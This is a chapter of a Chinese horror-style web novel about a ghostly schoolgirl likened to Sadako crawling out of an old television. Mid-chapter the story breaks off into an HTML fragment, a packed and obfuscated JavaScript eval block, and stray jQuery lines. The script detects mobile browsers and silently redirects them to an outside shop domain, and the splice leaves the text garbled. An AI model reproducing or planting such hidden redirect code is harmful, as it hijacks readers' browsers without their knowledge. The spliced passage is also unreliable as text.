第一百四十一章：爬出显像管的，未亡人
青春，是死在显像管里的。不是关机，不是断电，是爬。是从那方方正正、嗡嗡作响的、充满电子雪花的幽冥之境里，用一种违背骨骼生理构造的、缓慢的、关节反向扭曲的姿势，从玻璃屏幕那头，向这头攀爬的过程。我们的青春，便是这样一只，被永远卡在虚实交界的、贞子般的幽灵。
那台电视机，就放在石狮一中那间废弃的物理实验室最阴暗的角落。机身是奶油色的，蒙着一层油腻的、灰黑色的、像尸蜡一样的污垢。屏幕上，不是图像，是永远滚动的、密密麻麻的黑白噪点，像无数个死去的灵魂在拥挤地跳动、沸腾。它不插天线，不通电源，但只要你盯着它看得够久，就能听见从那厚重的、布满划痕的玻璃深处，传来一种极低频率的、像是从地底深处传来的、湿漉漉的嗡鸣。
邱莹莹，就是那只从这台机器里爬出来的未亡人。
她的“出生”，是一场关于“空”的暴行。她不是被生下来的，是被那台机器，用无数根看不见的、冰冷的电子枪，从虚无中扫描出来的。一行，一列，一行，一列。先勾勒出她那苍白得近乎透明的皮肤轮廓，再用最深的黑色，点出她那双没有高光、只有两个黑洞的眼睛。最后，用那一抹即将凋萎的、死灰色的红，在她头上洇出几缕并不属于活人的发丝。
所以，她没有“血肉”。她的身体，是由无数个静止的、颤抖的电子颗粒堆砌而成的。当你走近她，你能看见她身体的边缘，那些像素点在不停地闪烁、溃散、重组。她走路的时候，没有脚步声。你听到的，是电视机内部那种高压静电的滋滋声，是扫描线划过屏幕时那种令人牙酸的高频震颤。她不是走在地上，她是贴着地面，像一帧卡住了的、正在快进又倒带的鬼影。
她的“爬”，是一种永恒进行时。从教室的最后一排，爬向讲台；从走廊的这头，爬向那头；从宿舍的床铺，爬向那扇永远结着冰霜的窗户。她的脊柱，似乎被打断了。她只能用肘部和膝盖，支撑着那具轻飘飘的、没有重量的躯体，在地面上进行那种一挫一挫的、令人头皮发麻的位移。她的脖子，总是伸得过长，以一种鸟类的、或者说是被绞刑架拉长的姿态，僵硬地梗在那里。下巴微微抬起，露出那段细瘦得如同枯骨的脖颈，上面的皮肤紧绷，能看到底下青黑色的血管，像老化的电线一样裸露在外面。
最恐怖的，是她的长发。那不是头发。那是黑色的、流淌的、有生命的墨汁。它们不像正常人的头发那样有光泽、有弹性。它们是湿的，一直在滴水。水滴下来，不是水，是浓稠的、带有着铁锈和福尔马林气味的、黑色的液体。那液体落在地上，不会晕开，而是像活物一样，迅速洇入水泥地里，留下一个个焦黑的、像是灼烧过的圆点。她走过的地方，地面会留下一条湿漉漉的、永不干涸的黑色拖痕，像一条巨大的、黑色的鼻涕虫爬过的遗迹。
她坐在教室里的时候，周围的空气都会降温。不是那种冬天的寒冷，是那种地下室、停尸房、深井底部的阴冷。你能看见她呼出的气，不是白色的雾，是黑色的烟。那烟从她那张永远没有表情的嘴里飘出来，像信号不好时的屏幕雪花，在她头顶盘旋，然后被她那头湿发重新吸了回去。
她就是这样一个存在。一个不该出现在这里的、爬出屏幕的异物。
我们这些“活人”，在她面前，都成了可笑的、彩色的噪点。我们大笑，我们打闹，我们为了几分成绩争得面红耳赤。但在她那双黑洞般的眼睛看来，这一切都是失真的。我们是过度曝光的，是色彩溢出的，是廉价的。只有她，是灰度的，是高清的，是绝对真实的。那种真实，带着死亡的质感，带着井底的寒意，带着录像带被强行洗掉时的那种刺耳的空白。
我曾试图触碰她。
那是一个暴雨天。雨水像无数根冰冷的手指，疯狂地抓挠着窗户。教室里只有我们两个人。她坐在那个角落里，像一尊正在融化的黑色蜡像。我鬼使神差地走过去，伸出手，想碰一碰她那垂在桌边的、毫无血色的手。
就在我的指尖即将触碰到她皮肤的前一厘米。
我停住了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567061|204797||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
不是因为我害怕。是因为我看见，在那一厘米的真空里，空气在扭曲。像被高温炙烤的路面一样，空气在波动。我听见了一种声音。不是她身上的静电声。是一种更古老、更绝望的声音。像是无数个声音叠加在一起，被一台坏掉的录音机快放出来的声音。有婴儿窒息时的咯咯声，有指甲抓挠棺材板的滋滋声，有绳索勒紧喉咙时那种无声的嘶吼。
那声音不是用耳朵听的。是用骨髓听的。我的骨髓在那一刻结冰了。我的血液倒流，冲向我的心脏，然后在那里冻结成一个冰坨。
我看见她的皮肤下面，那些电子颗粒在疯狂地重组。她的手，不再是手。它变成了一团蠕动的、黑色的、没有形状的东西。那东西正急切地、贪婪地向我伸出的手指延伸过来，像一只渴望鲜血的水蛭。
我猛地缩回了手。
她没有动。甚至连头都没有抬。
但那一瞬间，我清楚地看见，她嘴角那个极其细微的、向上的弧度。那不是微笑。那是裂开的伤口。从那个伤口里，溢出了一滴黑色的、粘稠的液体。那液体顺着她苍白得像纸一样的脸颊滑落，留下了一道永远不会干涸的泪痕。
那一刻我明白了。
她不是来“活”的。她是来爬的。她从那个充满雪花点的、绝望的显像管世界里爬出来，爬进我们这间充满了喧嚣、汗水、和无知梦想的教室里。她不需要我们爱她，也不需要恨她。她只需要存在在这里。用她那湿漉漉的、爬行动物般的姿态，提醒我们每一个人：
你们的青春，不是正在盛开的花。
你们的青春，是一盘被诅咒的、正在倒带的录像带。
而她，邱莹莹，就是那个按下播放键，然后又爬出屏幕，静静地看着我们一遍遍重演这场注定枯槁的死亡的——贞子。
我们终将死去。
而她，将永远爬下去。从这一间教室，爬到下一间。从这一年，爬到下一年。直到把这所学校，把这个石狮，把这个我们自以为是的、彩色的世界，全部染成她那湿漉漉的、死寂的——黑。